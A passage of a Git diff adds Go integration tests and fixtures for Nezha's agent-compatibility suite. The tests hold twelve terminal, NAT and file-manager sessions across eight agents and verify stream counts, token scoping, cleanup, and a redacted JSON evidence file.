ErrInvalidHeldSessionSetTopology}, + {name: "missing control server", mutate: func(fixture *heldSessionSetPublicFixture) { + fixture.input.ControlServerIDs = fixture.input.ControlServerIDs[:7] + }, expectedInspect: 8, expectedError: ErrInvalidHeldSessionSetTopology}, + {name: "plan kind", mutate: func(fixture *heldSessionSetPublicFixture) { + fixture.input.Plan.Sessions[0].Kind = StressSessionKind("unknown") + }, expectedInspect: 0, expectedError: ErrInvalidHeldSessionSetPlan}, + {name: "plan agent", mutate: func(fixture *heldSessionSetPublicFixture) { + fixture.input.Plan.Sessions[0].Agent = fixture.input.Plan.Sessions[1].Agent + }, expectedInspect: 0, expectedError: ErrInvalidHeldSessionSetPlan}, + {name: "plan ordinal", mutate: func(fixture *heldSessionSetPublicFixture) { fixture.input.Plan.Sessions[0].Ordinal++ }, expectedInspect: 0, expectedError: ErrInvalidHeldSessionSetPlan}, + {name: "plan duplicate id", mutate: func(fixture *heldSessionSetPublicFixture) { + fixture.input.Plan.Sessions[1].ID = fixture.input.Plan.Sessions[0].ID + }, expectedInspect: 0, expectedError: ErrInvalidHeldSessionSetPlan}, + } + for _, testCase := range cases { + t.Run(testCase.name, func(t *testing.T) { + fixture := newHeldSessionSetPublicFixture(t) + testCase.mutate(fixture) + _, err := NewHeldSessionSet(context.Background(), fixture.input) + require.Error(t, err) + require.ErrorIs(t, err, testCase.expectedError) + counters := fixture.counters.values() + require.Equal(t, testCase.expectedInspect, counters.inspect) + require.Zero(t, counters.snapshot) + require.Zero(t, counters.observe) + require.Zero(t, counters.terminal) + require.Zero(t, counters.nat) + require.Zero(t, counters.fm) + }) + } +} diff --git a/integration/agentcompat/internal/scenario/held_session_set_real_e2e_test.go b/integration/agentcompat/internal/scenario/held_session_set_real_e2e_test.go new file mode 100644 index 00000000..8f82bd47 --- /dev/null +++ b/integration/agentcompat/internal/scenario/held_session_set_real_e2e_test.go @@ -0,0 +1,168 @@ +//go:build linux && agentcompat + +package scenario + +import ( + "context" + "errors" + "os" + "syscall" + "testing" + "time" + + "github.com/stretchr/testify/require" + + "github.com/nezhahq/nezha/integration/agentcompat/internal/agent" + "github.com/nezhahq/nezha/integration/agentcompat/internal/client" + "github.com/nezhahq/nezha/integration/agentcompat/internal/contract" +) + +func TestHeldSessionSetEightAgentFourFourFour(t *testing.T) { + requireHeldRealSources(t) + paths, err := contract.NewPaths(os.Getenv("AGENTCOMPAT_NEZHA_SOURCE"), os.Getenv("AGENTCOMPAT_AGENT_SOURCE"), t.TempDir()) + require.NoError(t, err) + ctx, cancel := context.WithTimeout(t.Context(), 30*time.Minute) + defer cancel() + profile, err := contract.ProfileByName(string(contract.ProfilePRFull)) + require.NoError(t, err) + plan, err := GenerateStressPlan(profile, contract.DefaultSeed) + require.NoError(t, err) + realFixture, err := startHeldSessionSetRealFixture(ctx, paths, plan) + require.NoError(t, err) + dashboardIdentity := realFixture.dashboard.RuntimeIdentity() + agentIdentities := make([]agent.ProcessIdentity, len(realFixture.agents)) + workspaceRoots := make([]string, 0, len(realFixture.agents)+2) + workspaceRoots = append(workspaceRoots, realFixture.dashboard.WorkspaceRoot(), realFixture.preparedBinary.WorkspaceRoot()) + for index, instance := range realFixture.agents { + agentIdentities[index] = instance.RuntimeIdentity() + workspaceRoots = append(workspaceRoots, instance.WorkspaceRoot()) + } + t.Cleanup(func() { _ = realFixture.close(context.Background(), nil) }) + input, err := realFixture.input(plan) + require.NoError(t, err) + baseline, err := realFixture.controlPAT.Client.IOStreamState(ctx) + require.NoError(t, err) + set, err := NewHeldSessionSet(ctx, input) + require.NoError(t, err) + require.Len(t, set.sessions, 12) + for index, session := range set.sessions { + require.Equal(t, plan.Sessions[index], session.Plan()) + } + select { + case <-set.Done(): + t.Fatal("held session set health completed while sessions were live") + default: + } + streamIDs := make([]string, len(set.sessions)) + seen := make(map[string]struct{}, len(set.sessions)) + protocolProved := true + for index, session := range set.sessions { + streamID, present := session.IOStreamID() + require.True(t, present) + require.NotEmpty(t, streamID) + require.NotContains(t, seen, streamID) + seen[streamID] = struct{}{} + streamIDs[index] = streamID + protocolProved = protocolProved && heldRealSessionProtocolProved(session) + } + require.True(t, protocolProved) + live, err := realFixture.controlPAT.Client.WaitForIOStreamState(ctx, client.IOStreamStateExpectation{ExpectedCount: client.ExpectedIOStreamCount(baseline.Count + 12)}) + require.NoError(t, err) + require.Equal(t, baseline.Count+12, live.Count) + for _, streamID := range streamIDs { + _, err := realFixture.controlPAT.Client.WaitForIOStreamState(ctx, client.IOStreamStateExpectation{ExpectedCount: client.ExpectedIOStreamCount(baseline.Count + 12), PresentStreamID: streamID}) + require.NoError(t, err) + } + require.Equal(t, dashboardIdentity, realFixture.dashboard.RuntimeIdentity()) + for index, instance := range realFixture.agents { + require.Equal(t, agentIdentities[index], instance.RuntimeIdentity()) + } + require.Equal(t, 4, countHeldSessionKind(plan.Sessions, StressSessionTerminal)) + require.Equal(t, 4, countHeldSessionKind(plan.Sessions, StressSessionNAT)) + require.Equal(t, 4, countHeldSessionKind(plan.Sessions, StressSessionFM)) + + require.NoError(t, set.Close(ctx)) + require.NoError(t, set.WaitHealthy(ctx)) + closed, err := realFixture.controlPAT.Client.WaitForIOStreamState(ctx, client.IOStreamStateExpectation{ExpectedCount: client.ExpectedIOStreamCount(baseline.Count)}) + require.NoError(t, err) + require.Equal(t, baseline.Count, closed.Count) + for _, streamID := range streamIDs { + _, err := realFixture.controlPAT.Client.WaitForIOStreamState(ctx, client.IOStreamStateExpectation{ExpectedCount: client.ExpectedIOStreamCount(baseline.Count), AbsentStreamID: streamID}) + require.NoError(t, err) + } + require.Equal(t, dashboardIdentity, realFixture.dashboard.RuntimeIdentity()) + for index, instance := range realFixture.agents { + require.Equal(t, agentIdentities[index], instance.RuntimeIdentity()) + } + resourcesAbsent := heldRealSessionResourcesAbsent(ctx, realFixture, set.sessions) + require.True(t, resourcesAbsent) + + cleanupErr := realFixture.close(ctx, nil) + require.NoError(t, cleanupErr) + cleanupOK := realFixture.dashboard.CleanupReceipt().Passed && !realFixture.dashboard.CleanupReceipt().Forced + for _, instance := range realFixture.agents { + cleanupOK = cleanupOK && instance.CleanupReceipt().Passed && !instance.CleanupReceipt().Forced + } + processesClean := heldRealPIDGone(dashboardIdentity.PID) && heldRealGroupGone(dashboardIdentity.ProcessGroupID) + for _, identity := range agentIdentities { + processesClean = processesClean && heldRealPIDGone(identity.PID) && heldRealGroupGone(identity.ProcessGroupID) + } + workspacesClean := true + for _, root := range workspaceRoots { + workspacesClean = workspacesClean && heldSessionSetRealWorkspaceGone(root) + } + evidenceValue := heldSessionSetRealEvidence{Version: 1, Profile: string(plan.Profile), Seed: "4e5a4841", BaselineCount: baseline.Count, LiveCount: live.Count, ClosedCount: closed.Count, TerminalCount: 4, NATCount: 4, FMCount: 4, AgentOrdinals: []int{1, 2, 3, 4, 5, 6, 7, 8}, ProtocolProved: protocolProved, ExactIDsPresent: true, ExactIDsAbsent: true, PIDStable: true, ResourcesAbsent: resourcesAbsent, ProcessesClean: processesClean, WorkspacesClean: workspacesClean, CleanupOK: cleanupOK} + for index, instance := range realFixture.agents { + evidenceValue.AgentSummaries = append(evidenceValue.AgentSummaries, heldSessionSetRealAgentSummary{Ordinal: index + 1, ServerDigest: heldRealDigest(string(rune(realFixture.readiness[index].ServerID))), PATIdentity: realFixture.agentPATs[index].IdentitySeen, PATScopeExact: len(realFixture.agentPATs[index].ServerIDs) == 1 && realFixture.agentPATs[index].ServerIDs[0] == realFixture.readiness[index].ServerID}) + _ = instance + } + for index, session := range set.sessions { + evidenceValue.SessionDigests = append(evidenceValue.SessionDigests, heldRealDigest(streamIDs[index])) + evidenceValue.SessionSummaries = append(evidenceValue.SessionSummaries, heldSessionSetRealSessionSummary{Ordinal: index + 1, Kind: string(session.Plan().Kind), AgentOrdinal: session.Plan().Agent.Int(), StreamDigest: heldRealDigest(streamIDs[index]), Present: true, Absent: true, Protocol: heldRealSessionProtocolProved(session)}) + } + require.True(t, cleanupOK && processesClean && workspacesClean) + require.NoError(t, writeHeldSessionSetRealEvidence("/tmp/nezha-held-real-sessions", evidenceValue)) + _, err = readHeldSessionSetRealEvidence("/tmp/nezha-held-real-sessions") + require.NoError(t, err) +} + +func heldRealSessionProtocolProved(session heldSession) bool { + switch concrete := session.(type) { + case *heldTerminalSession: + return concrete.ProtocolProved() + case *heldNATSession: + return concrete.ProtocolProved() + case *heldLegacyFMSession: + return concrete.ProtocolProved() + default: + return false + } +} + +func heldRealSessionResourcesAbsent(ctx context.Context, fixture *heldSessionSetRealFixture, sessions []heldSession) bool { + for _, session := range sessions { + switch concrete := session.(type) { + case *heldNATSession: + present, err := heldRealNATProfilePresent(ctx, fixture.dashboard.Clients().REST, concrete.profileID) + if err != nil || present { + return false + } + case *heldLegacyFMSession: + rootName := heldLegacyFMRootName.ReplaceAllString(session.Plan().ID.String(), "-") + if !heldSessionSetRealWorkspaceGone("" + fixture.agents[session.Plan().Agent.Int()-1].WorkspaceRoot() + "/held-fm-" + rootName) { + return false + } + case *heldTerminalSession: + _ = concrete + } + } + return true +} + +func heldRealGroupGone(pgid int) bool { + if pgid < 1 { + return false + } + err := syscall.Kill(-pgid, 0) + return errors.Is(err, syscall.ESRCH) +} diff --git a/integration/agentcompat/internal/scenario/held_session_set_real_evidence.go b/integration/agentcompat/internal/scenario/held_session_set_real_evidence.go new file mode 100644 index 00000000..4f6dceb1 --- /dev/null +++ b/integration/agentcompat/internal/scenario/held_session_set_real_evidence.go @@ -0,0 +1,197 @@ +//go:build linux && agentcompat + +package scenario + +import ( + "crypto/sha256" + "encoding/hex" + "encoding/json" + "errors" + "fmt" + "os" + "path/filepath" + "slices" + "strings" + + "github.com/nezhahq/nezha/integration/agentcompat/internal/contract" + "github.com/nezhahq/nezha/integration/agentcompat/internal/evidence" +) + +var ErrHeldSessionSetRealEvidenceInvalid = errors.New("held session set evidence is invalid") + +type heldSessionSetRealEvidence struct { + Version int `json:"version"` + Profile string `json:"profile"` + Seed string `json:"seed"` + BaselineCount int `json:"baseline_count"` + LiveCount int `json:"live_count"` + ClosedCount int `json:"closed_count"` + TerminalCount int `json:"terminal_count"` + NATCount int `json:"nat_count"` + FMCount int `json:"fm_count"` + AgentOrdinals []int `json:"agent_ordinals"` + AgentSummaries []heldSessionSetRealAgentSummary `json:"agent_summaries"` + SessionSummaries []heldSessionSetRealSessionSummary `json:"session_summaries"` + SessionDigests []string `json:"session_digests"` + ProtocolProved bool `json:"protocol_proved"` + ExactIDsPresent bool `json:"exact_ids_present"` + ExactIDsAbsent bool `json:"exact_ids_absent"` + PIDStable bool `json:"pid_stable"` + ResourcesAbsent bool `json:"resources_absent"` + ProcessesClean bool `json:"processes_clean"` + WorkspacesClean bool `json:"workspaces_clean"` + CleanupOK bool `json:"cleanup_ok"` +} + +type heldSessionSetRealAgentSummary struct { + Ordinal int `json:"ordinal"` + ServerDigest string `json:"server_digest"` + PATIdentity bool `json:"pat_identity"` + PATScopeExact bool `json:"pat_scope_exact"` +} + +type heldSessionSetRealSessionSummary struct { + Ordinal int `json:"ordinal"` + Kind string `json:"kind"` + AgentOrdinal int `json:"agent_ordinal"` + StreamDigest string `json:"stream_digest"` + Present bool `json:"present"` + Absent bool `json:"absent"` + Protocol bool `json:"protocol"` +} + +func validateHeldSessionSetRealEvidence(evidenceValue heldSessionSetRealEvidence) error { + if evidenceValue.Version != 1 { + return ErrHeldSessionSetRealEvidenceInvalid + } + if evidenceValue.Profile != string(contract.ProfilePRFull) || evidenceValue.Seed != "4e5a4841" || evidenceValue.BaselineCount < 0 || evidenceValue.LiveCount != evidenceValue.BaselineCount+12 || evidenceValue.ClosedCount != evidenceValue.BaselineCount { + return ErrHeldSessionSetRealEvidenceInvalid + } + if evidenceValue.TerminalCount != 4 || evidenceValue.NATCount != 4 || evidenceValue.FMCount != 4 || !slices.Equal(evidenceValue.AgentOrdinals, []int{1, 2, 3, 4, 5, 6, 7, 8}) || len(evidenceValue.AgentSummaries) != 8 || len(evidenceValue.SessionSummaries) != 12 || len(evidenceValue.SessionDigests) != 12 { + return ErrHeldSessionSetRealEvidenceInvalid + } + serverDigests := make(map[string]struct{}, len(evidenceValue.AgentSummaries)) + for index, summary := range evidenceValue.AgentSummaries { + if summary.Ordinal != index+1 || !validHeldSessionSetRealDigest(summary.ServerDigest) || !summary.PATIdentity || !summary.PATScopeExact { + return ErrHeldSessionSetRealEvidenceInvalid + } + if _, exists := serverDigests[summary.ServerDigest]; exists { + return ErrHeldSessionSetRealEvidenceInvalid + } + serverDigests[summary.ServerDigest] = struct{}{} + } + profile, err := contract.ProfileByName(string(contract.ProfilePRFull)) + if err != nil { + return ErrHeldSessionSetRealEvidenceInvalid + } + plan, err := GenerateStressPlan(profile, contract.DefaultSeed) + if err != nil || len(plan.Sessions) != 12 { + return ErrHeldSessionSetRealEvidenceInvalid + } + sessionDigests := make(map[string]struct{}, len(evidenceValue.SessionDigests)) + for index, digest := range evidenceValue.SessionDigests { + if !validHeldSessionSetRealDigest(digest) { + return ErrHeldSessionSetRealEvidenceInvalid + } + if _, exists := sessionDigests[digest]; exists { + return ErrHeldSessionSetRealEvidenceInvalid + } + sessionDigests[digest] = struct{}{} + if digest != evidenceValue.SessionSummaries[index].StreamDigest { + return ErrHeldSessionSetRealEvidenceInvalid + } + } + kindCounts := map[StressSessionKind]int{} + for index, summary := range evidenceValue.SessionSummaries { + canonical := plan.Sessions[index] + if summary.Ordinal != index+1 || summary.Kind != string(canonical.Kind) || summary.AgentOrdinal != canonical.Agent.Int() || !validHeldSessionSetRealDigest(summary.StreamDigest) || !summary.Present || !summary.Absent || !summary.Protocol { + return ErrHeldSessionSetRealEvidenceInvalid + } + kindCounts[canonical.Kind]++ + } + if kindCounts[StressSessionTerminal] != 4 || kindCounts[StressSessionNAT] != 4 || kindCounts[StressSessionFM] != 4 { + return ErrHeldSessionSetRealEvidenceInvalid + } + if !evidenceValue.ProtocolProved || !evidenceValue.ExactIDsPresent || !evidenceValue.ExactIDsAbsent || !evidenceValue.PIDStable || !evidenceValue.ResourcesAbsent || !evidenceValue.ProcessesClean || !evidenceValue.WorkspacesClean || !evidenceValue.CleanupOK { + return ErrHeldSessionSetRealEvidenceInvalid + } + return nil +} + +func validHeldSessionSetRealDigest(value string) bool { + if len(value) != sha256.Size*2 || value != strings.ToLower(value) { + return false + } + _, err := hex.DecodeString(value) + return err == nil +} + +func writeHeldSessionSetRealEvidence(root string, evidenceValue heldSessionSetRealEvidence) error { + if err := validateHeldSessionSetRealEvidence(evidenceValue); err != nil { + return err + } + info, err := os.Lstat(root) + if err != nil { + if !errors.Is(err, os.ErrNotExist) { + return err + } + if err := os.Mkdir(root, 0o700); err != nil { + return err + } + info, err = os.Lstat(root) + } + if err != nil || info.Mode()&os.ModeSymlink != 0 || !info.IsDir() || info.Mode().Perm() != 0o700 { + return errors.New("held session set evidence root is not a private directory") + } + path := filepath.Join(root, "held-session-set.json") + if stale, err := os.Lstat(path); err == nil { + if stale.Mode()&os.ModeSymlink != 0 || !stale.Mode().IsRegular() { + return errors.New("stale held session set evidence is not a regular file") + } + if err := os.Remove(path); err != nil { + return err + } + } else if !errors.Is(err, os.ErrNotExist) { + return err + } + data, err := json.Marshal(evidenceValue) + if err != nil { + return err + } + if evidence.Redact(string(data)) != string(data) { + return errors.New("held session set evidence requires redaction") + } + temporary, err := os.CreateTemp(root, ".held-session-set-*") + if err != nil { + return err + } + temporaryName := temporary.Name() + defer os.Remove(temporaryName) + if err := temporary.Chmod(0o600); err != nil { + _ = temporary.Close() + return err + } + if _, err := temporary.Write(data); err != nil { + _ = temporary.Close() + return err + } + if err := temporary.Close(); err != nil { + return err + } + return os.Rename(temporaryName, path) +} + +func readHeldSessionSetRealEvidence(root string) (heldSessionSetRealEvidence, error) { + var result heldSessionSetRealEvidence + data, err := os.ReadFile(filepath.Join(root, "held-session-set.json")) + if err != nil { + return result, fmt.Errorf("read held session set evidence: %w", err) + } + if evidence.Redact(string(data)) != string(data) { + return result, errors.New("held session set evidence is not redacted") + } + if err := json.Unmarshal(data, &result); err != nil { + return result, err + } + return result, validateHeldSessionSetRealEvidence(result) +} diff --git a/integration/agentcompat/internal/scenario/held_session_set_real_fixture.go b/integration/agentcompat/internal/scenario/held_session_set_real_fixture.go new file mode 100644 index 00000000..390848d4 --- /dev/null +++ b/integration/agentcompat/internal/scenario/held_session_set_real_fixture.go @@ -0,0 +1,152 @@ +//go:build linux && agentcompat + +package scenario + +import ( + "context" + "errors" + "fmt" + "os" + "slices" + "time" + + "github.com/nezhahq/nezha/integration/agentcompat/internal/agent" + "github.com/nezhahq/nezha/integration/agentcompat/internal/contract" + "github.com/nezhahq/nezha/integration/agentcompat/internal/dashboard" +) + +type heldSessionSetRealFixture struct { + dashboard *dashboard.Dashboard + preparedBinary *agent.PreparedBinary + agents []*agent.Agent + readiness []agent.Readiness + agentPATs []heldRealPATIdentity + plan StressPlan + controlPAT heldRealPATIdentity + controlServerIDs []uint64 + closed bool +} + +func startHeldSessionSetRealFixture(ctx context.Context, paths contract.Paths, plan StressPlan) (*heldSessionSetRealFixture, error) { + dashboardInstance, err := dashboard.Start(ctx, dashboard.StartConfig{SourceDir: paths.NezhaSource().String(), ReceiptGate: true}) + if err != nil { + return nil, err + } + fixture := &heldSessionSetRealFixture{dashboard: dashboardInstance, plan: plan} + prepared, err := agent.PrepareBinary(ctx, paths.AgentSource().String()) + if err != nil { + return nil, fixture.close(ctx, err) + } + fixture.preparedBinary = prepared + for ordinal := 1; ordinal <= heldSessionSetAgentCount; ordinal++ { + uuid := fmt.Sprintf("00000000-0000-0000-0000-%012d", 700+ordinal) + startConfig := canonicalHeldSessionAgentStartConfig() + startConfig.PreparedBinary = prepared + startConfig.Endpoint = dashboardInstance.Endpoint() + startConfig.Secret = dashboardInstance.AgentSecret() + startConfig.UUID = uuid + instance, startErr := agent.Start(ctx, startConfig) + if startErr != nil { + return nil, fixture.close(ctx, startErr) + } + fixture.agents = append(fixture.agents, instance) + } + if err := dashboardInstance.WaitForReceiptAccepted(ctx); err != nil { + return nil, fixture.close(ctx, err) + } + if err := dashboardInstance.ReleaseReceipt(ctx); err != nil { + return nil, fixture.close(ctx, err) + } + for index, instance := range fixture.agents { + serverID, infoErr := dashboardInstance.WaitForInfo2UUID(ctx, instance.UUID()) + if infoErr != nil { + return nil, fixture.close(ctx, infoErr) + } + pat, patErr := mintHeldRealPAT(ctx, dashboardInstance, fmt.Sprintf("held-set-agent-%d", index+1), []uint64{serverID}) + if patErr != nil { + return nil, fixture.close(ctx, patErr) + } + ready, readyErr := instance.WaitReadyEventDrivenWithClient(ctx, dashboardInstance, pat.Client) + if readyErr != nil { + return nil, fixture.close(ctx, readyErr) + } + fixture.readiness = append(fixture.readiness, ready) + fixture.agentPATs = append(fixture.agentPATs, pat) + } + for _, readiness := range fixture.readiness { + fixture.controlServerIDs = append(fixture.controlServerIDs, readiness.ServerID) + } + fixture.controlPAT, err = mintHeldRealPAT(ctx, dashboardInstance, "held-set-control", fixture.controlServerIDs) + if err != nil { + return nil, fixture.close(ctx, err) + } + if err := validateHeldSessionSetRealFixture(fixture, plan); err != nil { + return nil, fixture.close(ctx, err) + } + return fixture, nil +} + +func canonicalHeldSessionAgentStartConfig() agent.AgentStartConfig { + // Connection counting opens short-lived NETLINK_INET_DIAG descriptors during state reports; exclude probes from stress residue snapshots. + return agent.AgentStartConfig{SkipConnectionCount: true} +} + +func validateHeldSessionSetRealFixture(fixture *heldSessionSetRealFixture, plan StressPlan) error { + if fixture == nil || fixture.dashboard == nil || fixture.preparedBinary == nil || len(fixture.agents) != heldSessionSetAgentCount || len(fixture.readiness) != heldSessionSetAgentCount || len(fixture.agentPATs) != heldSessionSetAgentCount || len(fixture.controlServerIDs) != heldSessionSetAgentCount { + return errors.New("held session set real fixture is incomplete") + } + if plan.Profile != contract.ProfilePRFull || len(plan.Sessions) != 12 { + return errors.New("held session set real fixture received noncanonical plan") + } + seenServers := make(map[uint64]struct{}, len(fixture.controlServerIDs)) + for index, readiness := range fixture.readiness { + if readiness.ServerID == 0 || readiness.UUID != fixture.agents[index].UUID() || !fixture.agentPATs[index].IdentitySeen || !slices.Equal(fixture.agentPATs[index].ServerIDs, []uint64{readiness.ServerID}) { + return errors.New("held session set real fixture PAT mapping is invalid") + } + if _, exists := seenServers[readiness.ServerID]; exists { + return errors.New("held session set real fixture server IDs are not unique") + } + seenServers[readiness.ServerID] = struct{}{} + } + if !fixture.controlPAT.IdentitySeen || !slices.Equal(fixture.controlPAT.ServerIDs, fixture.controlServerIDs) { + return errors.New("held session set real fixture control PAT mapping is invalid") + } + return nil +} + +func (fixture *heldSessionSetRealFixture) input(plan StressPlan) (HeldSessionSetInput, error) { + topology := make([]HeldSessionAgent, len(fixture.agents)) + for index, instance := range fixture.agents { + ordinal, err := NewStressAgentOrdinal(index + 1) + if err != nil { + return HeldSessionSetInput{}, err + } + topology[index] = HeldSessionAgent{Ordinal: ordinal, Agent: instance, Readiness: fixture.readiness[index], PATClient: fixture.agentPATs[index].Client} + } + return HeldSessionSetInput{Dashboard: fixture.dashboard, Plan: plan, Topology: topology, ControlClient: fixture.controlPAT.Client, ControlServerIDs: append([]uint64(nil), fixture.controlServerIDs...), Dependencies: defaultHeldSessionSetDependencies()}, nil +} + +func (fixture *heldSessionSetRealFixture) close(ctx context.Context, cause error) error { + if fixture == nil || fixture.closed { + return cause + } + fixture.closed = true + cleanupContext, cancel := context.WithTimeout(context.WithoutCancel(ctx), 90*time.Second) + defer cancel() + joined := cause + for index := len(fixture.agents) - 1; index >= 0; index-- { + joined = errors.Join(joined, fixture.agents[index].Stop(cleanupContext)) + } + if fixture.preparedBinary != nil { + joined = errors.Join(joined, fixture.preparedBinary.Close()) + } + if fixture.dashboard != nil { + joined = errors.Join(joined, fixture.dashboard.Stop(cleanupContext)) + } + return joined +} + +func heldSessionSetRealWorkspaceGone(path string) bool { + _, err := os.Stat(path) + return errors.Is(err, os.ErrNotExist) +} diff --git a/integration/agentcompat/internal/scenario/held_session_set_real_plan.go b/integration/agentcompat/internal/scenario/held_session_set_real_plan.go new file mode 100644 index 00000000..8997695a --- /dev/null +++ b/integration/agentcompat/internal/scenario/held_session_set_real_plan.go @@ -0,0 +1,69 @@ +//go:build linux && agentcompat + +package scenario + +import ( + "context" + "crypto/sha256" + "encoding/hex" + "errors" + "net/http" + "slices" + + "github.com/nezhahq/nezha/integration/agentcompat/internal/client" + "github.com/nezhahq/nezha/integration/agentcompat/internal/dashboard" +) + +func realHeldSessionSetAgentOrdinals(plan StressPlan) []int { + ordinals := make([]int, 0, heldSessionSetAgentCount) + for _, session := range plan.Sessions { + if !slices.Contains(ordinals, session.Agent.Int()) { + ordinals = append(ordinals, session.Agent.Int()) + } + } + for ordinal := 1; ordinal <= heldSessionSetAgentCount; ordinal++ { + if !slices.Contains(ordinals, ordinal) { + ordinals = append(ordinals, ordinal) + } + } + return ordinals +} + +type heldRealPATIdentity struct { + Client *client.Client + TokenID uint64 + ServerIDs []uint64 + IdentitySeen bool +} + +func mintHeldRealPAT(ctx context.Context, dashboardInstance *dashboard.Dashboard, name string, serverIDs []uint64) (heldRealPATIdentity, error) { + pat, err := createTerminalPAT(ctx, dashboardInstance, name, serverIDs) + if err != nil { + return heldRealPATIdentity{}, err + } + identity, err := client.CallTool[struct{}, client.WhoAmIResult](ctx, pat, client.ToolCall[struct{}]{Name: "meta.whoami", Arguments: struct{}{}}) + if err != nil { + return heldRealPATIdentity{}, err + } + whoami := identity.StructuredContent + if whoami.TokenID == 0 || whoami.TokenName != name || !slices.Equal(whoami.Scopes, []string{"nezha:*"}) || !slices.Equal(whoami.ServerIDs, serverIDs) { + return heldRealPATIdentity{}, errors.New("PAT identity or server allowlist mismatch") + } + return heldRealPATIdentity{Client: pat, TokenID: whoami.TokenID, ServerIDs: append([]uint64(nil), serverIDs...), IdentitySeen: true}, nil +} + +func createTerminalPAT(ctx context.Context, dashboardInstance *dashboard.Dashboard, name string, serverIDs []uint64) (*client.Client, error) { + pat, err := client.DoREST[terminalPATRequest, terminalPATResponse](ctx, dashboardInstance.Clients().REST, client.RESTRequest[terminalPATRequest]{Method: http.MethodPost, Path: "/api/v1/api-tokens", Body: &terminalPATRequest{Name: name, Scopes: []string{"nezha:*"}, ServerIDs: serverIDs}}) + if err != nil { + return nil, err + } + if pat.Token == "" { + return nil, errors.New("PAT response omitted token") + } + return dashboardInstance.AuthenticatedClient(pat.Token) +} + +func heldRealDigest(value string) string { + digest := sha256.Sum256([]byte(value)) + return hex.EncodeToString(digest[:]) +} diff --git a/integration/agentcompat/internal/scenario/held_session_set_real_support_test.go b/integration/agentcompat/internal/scenario/held_session_set_real_support_test.go new file mode 100644 index 00000000..4bbee2fa --- /dev/null +++ b/integration/agentcompat/internal/scenario/held_session_set_real_support_test.go @@ -0,0 +1,105 @@ +//go:build linux && agentcompat + +package scenario + +import ( + "os" + "slices" + "strings" + "testing" + + "github.com/stretchr/testify/require" + + "github.com/nezhahq/nezha/integration/agentcompat/internal/contract" +) + +func validHeldSessionSetRealEvidenceFromPlan() heldSessionSetRealEvidence { + profile, _ := contract.ProfileByName(string(contract.ProfilePRFull)) + plan, _ := GenerateStressPlan(profile, contract.DefaultSeed) + value := heldSessionSetRealEvidence{Version: 1, Profile: string(contract.ProfilePRFull), Seed: "4e5a4841", BaselineCount: 1, LiveCount: 13, ClosedCount: 1, TerminalCount: 4, NATCount: 4, FMCount: 4, AgentOrdinals: []int{1, 2, 3, 4, 5, 6, 7, 8}, ProtocolProved: true, ExactIDsPresent: true, ExactIDsAbsent: true, PIDStable: true, ResourcesAbsent: true, ProcessesClean: true, WorkspacesClean: true, CleanupOK: true} + for index := 1; index <= 8; index++ { + value.AgentSummaries = append(value.AgentSummaries, heldSessionSetRealAgentSummary{Ordinal: index, ServerDigest: heldRealDigest(string(rune('a' + index))), PATIdentity: true, PATScopeExact: true}) + } + for index, session := range plan.Sessions { + digest := heldRealDigest(string(rune('A' + index))) + value.SessionDigests = append(value.SessionDigests, digest) + value.SessionSummaries = append(value.SessionSummaries, heldSessionSetRealSessionSummary{Ordinal: index + 1, Kind: string(session.Kind), AgentOrdinal: session.Agent.Int(), StreamDigest: digest, Present: true, Absent: true, Protocol: true}) + } + return value +} + +func TestHeldSessionSetRealPlanUsesCanonicalPRFullTopology(t *testing.T) { + profile, err := contract.ProfileByName(string(contract.ProfilePRFull)) + require.NoError(t, err) + plan, err := GenerateStressPlan(profile, contract.DefaultSeed) + require.NoError(t, err) + require.Equal(t, "pr-full", string(plan.Profile)) + require.Equal(t, uint64(0x4e5a4841), uint64(plan.Seed)) + require.Len(t, plan.Sessions, 12) + require.Equal(t, 4, countHeldSessionKind(plan.Sessions, StressSessionTerminal)) + require.Equal(t, 4, countHeldSessionKind(plan.Sessions, StressSessionNAT)) + require.Equal(t, 4, countHeldSessionKind(plan.Sessions, StressSessionFM)) + for ordinal := 1; ordinal <= heldSessionSetAgentCount; ordinal++ { + require.Contains(t, realHeldSessionSetAgentOrdinals(plan), ordinal) + } +} + +func TestCanonicalHeldSessionAgentStartConfig_SkipsConnectionCount(t *testing.T) { + // When + actual := canonicalHeldSessionAgentStartConfig() + + // Then + require.True(t, actual.SkipConnectionCount) +} + +func TestHeldSessionSetRealEvidenceRejectsIncompleteAndRedactsArtifact(t *testing.T) { + root := t.TempDir() + require.NoError(t, os.Chmod(root, 0o700)) + evidence := validHeldSessionSetRealEvidence() + require.Error(t, validateHeldSessionSetRealEvidence(heldSessionSetRealEvidence{})) + require.NoError(t, validateHeldSessionSetRealEvidence(evidence)) + require.NoError(t, writeHeldSessionSetRealEvidence(root, evidence)) + readBack, err := readHeldSessionSetRealEvidence(root) + require.NoError(t, err) + require.Equal(t, evidence, readBack) +} + +func TestHeldSessionSetRealEvidenceRejectsCanonicalMutations(t *testing.T) { + tests := []struct { + name string + mutate func(*heldSessionSetRealEvidence) + }{ + {name: "version zero", mutate: func(value *heldSessionSetRealEvidence) { value.Version = 0 }}, + {name: "wrong version", mutate: func(value *heldSessionSetRealEvidence) { value.Version = 2 }}, + {name: "wrong seed", mutate: func(value *heldSessionSetRealEvidence) { value.Seed = "4e5a4842" }}, + {name: "uppercase digest", mutate: func(value *heldSessionSetRealEvidence) { + value.SessionDigests[0] = strings.ToUpper(value.SessionDigests[0]) + }}, + {name: "non hex digest", mutate: func(value *heldSessionSetRealEvidence) { value.SessionDigests[0] = strings.Repeat("z", 64) }}, + {name: "duplicate server digest", mutate: func(value *heldSessionSetRealEvidence) { + value.AgentSummaries[1].ServerDigest = value.AgentSummaries[0].ServerDigest + }}, + {name: "duplicate session digest", mutate: func(value *heldSessionSetRealEvidence) { + value.SessionDigests[1] = value.SessionDigests[0] + value.SessionSummaries[1].StreamDigest = value.SessionDigests[0] + }}, + {name: "summary mismatch", mutate: func(value *heldSessionSetRealEvidence) { + value.SessionSummaries[0].StreamDigest = heldRealDigest("different") + }}, + {name: "digest order", mutate: func(value *heldSessionSetRealEvidence) { slices.Reverse(value.SessionDigests) }}, + {name: "malformed length", mutate: func(value *heldSessionSetRealEvidence) { value.SessionDigests[0] = value.SessionDigests[0][:63] }}, + } + for _, testCase := range tests { + t.Run(testCase.name, func(t *testing.T) { + value := validHeldSessionSetRealEvidence() + testCase.mutate(&value) + err := validateHeldSessionSetRealEvidence(value) + require.ErrorIs(t, err, ErrHeldSessionSetRealEvidenceInvalid) + require.NotContains(t, err.Error(), "secret") + }) + } +} + +func validHeldSessionSetRealEvidence() heldSessionSetRealEvidence { + return validHeldSessionSetRealEvidenceFromPlan() +} diff --git 